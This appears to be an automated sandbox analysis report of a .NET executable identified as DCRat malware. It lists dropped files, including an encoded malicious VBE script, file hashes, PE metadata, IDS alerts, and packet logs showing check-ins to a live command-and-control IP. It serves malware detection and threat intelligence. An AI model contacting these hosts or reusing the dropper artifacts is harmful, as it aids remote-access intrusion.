SHA-512:	D69663E1E81EC33654B87F2DFADDD5383681C8EBF029A559B201D65EB12FA2989FA66C25FA98D58066EAB7B897F0EEF6B7A68FA1A9558482A17DFED7B6076ACA
Malicious:	false
Preview:	{. "args" : {. "code" : "8PgspRYAQu". },. "cmd" : "INVITE_BROWSER",. "nonce" : ".". }

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465701099064705
Encrypted:	false
SSDEEP:	6144:9IXfpi67eLPU9skLmb0b4IWSPKaJG8nAgejZMMhA2gX4WABl0uNzdwBCswSby:uXD94IWlLZMM6YFHd+y
MD5:	6DB97502F9C37895D1F212E613F23AF3
SHA1:	C8E13195A213253D0362AEA66D347CCB2E72ABA6
SHA-256:	1DF8F966AB16A778ABCC8664739D2928E3FAD8EB8E85F322151950046BF3BA8D
SHA-512:	C9C0313DF8FEC75222CFB6D86E3FB17A5BF60349D5B3A4628D8C74AE80550F474EE2AFE44415B20DDCA9BB0087221A027256202C20D8FE1CF6FB954E4E75BF83
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..XQ1...............................................................................................................................................................................................................................................................................................................................................s.l........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe

Download File

Process:	C:\Users\user\AppData\Local\Temp\kendalcp.exe
File Type:	data
Category:	dropped
Size (bytes):	222
Entropy (8bit):	5.820188518226737
Encrypted:	false
SSDEEP:	6:GtwqK+NkLzWbHo18nZNDd3RL1wQJRXuZ9Z//G1:GQMCzWLo14d3XBJYZf//Q
MD5:	A6F295A2E58C722B5935CC905E81FD8B
SHA1:	A2A30408197320A639E3E2F18A57FC8578C97B58
SHA-256:	8BCEBCA170FC0768CB1AFB63F1350D63C3A295B26CA04602E07EC43498B9691C
SHA-512:	839605D7EADCDC470DD4EDD117CEDD976CB9F36BF0A636D08AFECC6378ADADF0FCCB80BEB44DE849B6DFEC814845CEF8CA83CA171B39C1F6D90D55485BD06635
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^xQAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vGT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJ4sKm0/l7+k2+M0\W.kOGMfV^&?zX:qJmDrs.;VoqAv+ 8 4mYES,!~~WmVd+Hz8AAA==^#~@.

C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\kendalcp.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.295353348118594
Encrypted:	false
SSDEEP:	3:I5pKtAWV9KLMs/XAcp:IaAIsQcp
MD5:	7C582ABD8874B9CC60DF72D62BD86440
SHA1:	564E7B01338D08F657F2C02FA8FC5B8DADB92331
SHA-256:	C5E95B783C6EC1B98A40EDF8663370C678DE43E9B657E09CA1F054618277B329
SHA-512:	444CF67666329EA359E221560A229990013AF07D1ED074B2406E903C7EE04CF279953AD0726A96C2CA875216DA68369DFDDE00F905ADF1DE9ED93B8582BF8828
Malicious:	false
Preview:	"C:\blocksavesperfMonitorDll\reviewDll.exe"

C:\blocksavesperfMonitorDll\reviewDll.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\kendalcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.0844866142911425
Encrypted:	false
SSDEEP:	24576:NPf6XTxrcZAbPENGXZkA48PSsLyc4Q1HE:dSXVrtcNNA48szsH
MD5:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
SHA1:	A231A41C7AD994879B15116DCEA41FDC09BB5879
SHA-256:	0FBEB71FB1DFE793EACE5ED167F035A8F4BCC6B56D0930B6B97481F2B222B1D5
SHA-512:	C4AA115DE6F61C7311E8654D40537CD1CE08F0FB7EFD0A225A42E06AD000ED420BA905E5CC26A19CB56AF951EE1441AA257C073C47911A72FFF733C0DB1C2F9A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe
File Type:	ISO-8859 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	571
Entropy (8bit):	4.9398118662542965
Encrypted:	false
SSDEEP:	12:t+3p+t/hQAOfVaOQsXCzLQ8X+UwkY1v3igBe:Yot/h+ltcQy+UwkY1vdBe
MD5:	5294778E41EE83E1F1E78B56466AD690
SHA1:	348B8B4687216D57B8DF59BBCEC481DC9D1E61A6
SHA-256:	3AC122288181813B83236E1A2BCB449C51B50A3CA4925677A38C08B2FC6DF69C
SHA-512:	381FB6F3AA34E41C17DB3DD8E68B85508F51A94B3E77C479E40AD074767D1CEAE89B6E04FB7DD3D02A74D1AC3431B30920860A198C73387A865051538AE140F1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: \Device\ConDrv, Author: Joe Security
Preview:	.............................................................------------------------.. ..[-] Fetching endpoint.....[-] Bootstrapper up to date...[-] Killing conflicting processes.....[-] Ensuring essential directories.....[-] Ensuring essential dependencies.....[-] Downloading node......Unhandled Exception: System.Net.WebException: The operation has timed out.. at System.Net.WebClient.DownloadFile(Uri address, String fileName).. at Program.DownloadAndInstallNode().. at Program.EnsureDependencies().. at Program.Main(String[] args).

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.995392564801484
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	AYUGPPBj0x.exe
File size:	906'752 bytes
MD5:	eae6d4d5eae0cf85ff69eb89946e4185
SHA1:	9107578b01297b583bf797575bea0d745d024260
SHA256:	ea10faa651fc412d0ec1b6417d4ab1949f5ace92373d87dd789d8b0556ffb810
SHA512:	14fbb35dc316eef0d11204280b8e152d54905f72e43f2f98d92cfca559f3d09dd7d849ea01ce1c57ab94d356b26d6146e6714a51d1f72af9d4d94fc0adba533f
SSDEEP:	24576:9WUovLOqIJk8IjNJ/+z4F3osuiKoqsyol54bWYUK:9LoDP8IxF3osxKoqUK
TLSH:	031523438E8F3E90D4A5CAB38EE17BCFE8F4191F58E41657C15B02E9C7932A83456978
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..... g................................. ........@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4deace
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6720B6D3 [Tue Oct 29 10:20:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdea78	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe0000	0x4f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xdcad4	0xdcc00	760ef0ebe028a87a982a37fa5a2b95a6	False	0.9949280683748585	data	7.996758380184572	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe0000	0x4f0	0x600	9c48768fae97098206acc9e2c08c431e	False	0.3776041666666667	data	3.7539394855271335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe2000	0xc	0x200	a38b66be35f5eebd91974fd19ed1b885	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe00a0	0x25c	data			0.4652317880794702
RT_MANIFEST	0xe0300	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T21:12:14.062950+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49732	104.21.93.27	443	TCP
2024-11-07T21:12:19.985369+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.4	49736	5.101.153.173	80	TCP
2024-11-07T21:12:20.443641+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49735	TCP
2024-11-07T21:12:22.152084+0100	2850862	ETPRO MALWARE DCRat Initial Checkin Server Response M4	1	5.101.153.173	80	192.168.2.4	49736	TCP
2024-11-07T21:12:59.432086+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49756	TCP
2024-11-07T21:13:26.578399+0100	2850862	ETPRO MALWARE DCRat Initial Checkin Server Response M4	1	5.101.153.173	80	192.168.2.4	49871	TCP
2024-11-07T21:14:38.359815+0100	2850862	ETPRO MALWARE DCRat Initial Checkin Server Response M4	1	5.101.153.173	80	192.168.2.4	50037	TCP
2024-11-07T21:15:38.377401+0100	2850862	ETPRO MALWARE DCRat Initial Checkin Server Response M4	1	5.101.153.173	80	192.168.2.4	50047	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 21:12:09.899496078 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:09.899539948 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:09.899657965 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:09.915539026 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:09.915555954 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:10.570333004 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:10.570420027 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:10.575449944 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:10.575460911 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:10.575664997 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:10.618901014 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:10.942130089 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:10.983341932 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:11.134078979 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:11.134152889 CET	443	49730	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:11.134211063 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:11.153114080 CET	49730	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.203574896 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.203613043 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:13.203677893 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.205250025 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.205262899 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:13.850783110 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:13.851002932 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.852256060 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.852272987 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:13.852479935 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:13.853660107 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:13.899339914 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:14.062953949 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:14.063035965 CET	443	49732	104.21.93.27	192.168.2.4
Nov 7, 2024 21:12:14.063088894 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:14.063843012 CET	49732	443	192.168.2.4	104.21.93.27
Nov 7, 2024 21:12:14.354429007 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:14.354460955 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:14.354667902 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:14.354823112 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:14.354837894 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.211143017 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.211365938 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:15.214369059 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:15.214376926 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.214977026 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.216085911 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:15.259340048 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.676422119 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.676476002 CET	443	49733	128.116.44.3	192.168.2.4
Nov 7, 2024 21:12:15.676523924 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:15.677048922 CET	49733	443	192.168.2.4	128.116.44.3
Nov 7, 2024 21:12:17.366803885 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:17.366836071 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:17.366919994 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:17.367253065 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:17.367268085 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.003866911 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.004205942 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:18.006052971 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:18.006062031 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.006266117 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.007330894 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:18.055337906 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.260335922 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.260412931 CET	443	49734	104.20.23.46	192.168.2.4
Nov 7, 2024 21:12:18.260552883 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:18.261023998 CET	49734	443	192.168.2.4	104.20.23.46
Nov 7, 2024 21:12:18.915672064 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:18.920624018 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:18.921156883 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:18.921452045 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:18.926737070 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:19.985234976 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:19.985315084 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:19.985327005 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:19.985368967 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:20.076016903 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:20.175069094 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:20.180003881 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:20.180206060 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:20.180874109 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:20.186067104 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:20.186120987 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:20.186223984 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:20.191901922 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:20.467453003 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:20.587801933 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:22.145292997 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:22.146682978 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:22.146841049 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:22.152084112 CET	80	49736	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:22.152133942 CET	49736	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:22.152501106 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:22.152554035 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:22.440937996 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:22.493972063 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:25.478866100 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:25.479943991 CET	49746	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:25.485645056 CET	80	49740	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:25.485718966 CET	49740	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:25.485907078 CET	80	49746	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:25.485980988 CET	49746	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:25.486144066 CET	49746	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:25.492137909 CET	80	49746	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:25.492144108 CET	80	49746	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:26.435663939 CET	80	49746	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:26.478354931 CET	49746	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:31.448326111 CET	49750	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:31.453639984 CET	80	49750	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:31.453706980 CET	49750	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:31.453850031 CET	49750	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:31.458933115 CET	80	49750	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:31.459533930 CET	80	49750	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:32.402861118 CET	80	49750	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:32.447129965 CET	49750	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:37.416413069 CET	49750	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:37.417135000 CET	49752	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:37.422099113 CET	80	49750	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:37.422112942 CET	80	49752	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:37.422159910 CET	49750	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:37.422189951 CET	49752	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:37.422343969 CET	49752	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:37.427149057 CET	80	49752	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:37.427402020 CET	80	49752	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:38.373841047 CET	80	49752	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:38.415915966 CET	49752	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:43.385123968 CET	49752	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:43.385812998 CET	49753	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:43.390341997 CET	80	49752	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:43.390386105 CET	49752	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:43.390639067 CET	80	49753	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:43.390696049 CET	49753	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:43.390821934 CET	49753	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:43.395728111 CET	80	49753	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:43.396539927 CET	80	49753	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:44.500384092 CET	80	49753	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:44.540921926 CET	49753	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:49.510469913 CET	49753	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:49.511408091 CET	49754	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:49.516026020 CET	80	49753	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:49.516082048 CET	49753	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:49.516252041 CET	80	49754	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:49.516309023 CET	49754	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:49.516472101 CET	49754	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:49.521343946 CET	80	49754	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:49.521543980 CET	80	49754	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:50.480412960 CET	80	49754	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:50.480772018 CET	49754	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:50.486316919 CET	80	49754	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:50.486372948 CET	49754	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:55.495986938 CET	49755	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:55.500932932 CET	80	49755	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:55.500997066 CET	49755	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:55.501142025 CET	49755	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:12:55.506093979 CET	80	49755	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:55.506217003 CET	80	49755	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:56.527420998 CET	80	49755	5.101.153.173	192.168.2.4
Nov 7, 2024 21:12:56.572252035 CET	49755	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:01.551282883 CET	49755	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:01.554342031 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:01.557430029 CET	80	49755	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:01.557487965 CET	49755	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:01.560185909 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:01.560250998 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:01.561423063 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:01.566719055 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:01.566728115 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:03.320961952 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:03.321609020 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:03.321752071 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:03.321856976 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:03.321897984 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:08.322714090 CET	49768	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:08.323381901 CET	49803	80	192.168.2.4	5.101.153.173
Nov 7, 2024 21:13:08.328221083 CET	80	49768	5.101.153.173	192.168.2.4
Nov 7, 2024 21:13:08.328241110 CET	80	49803	5.101.153.173	192.168.2.4
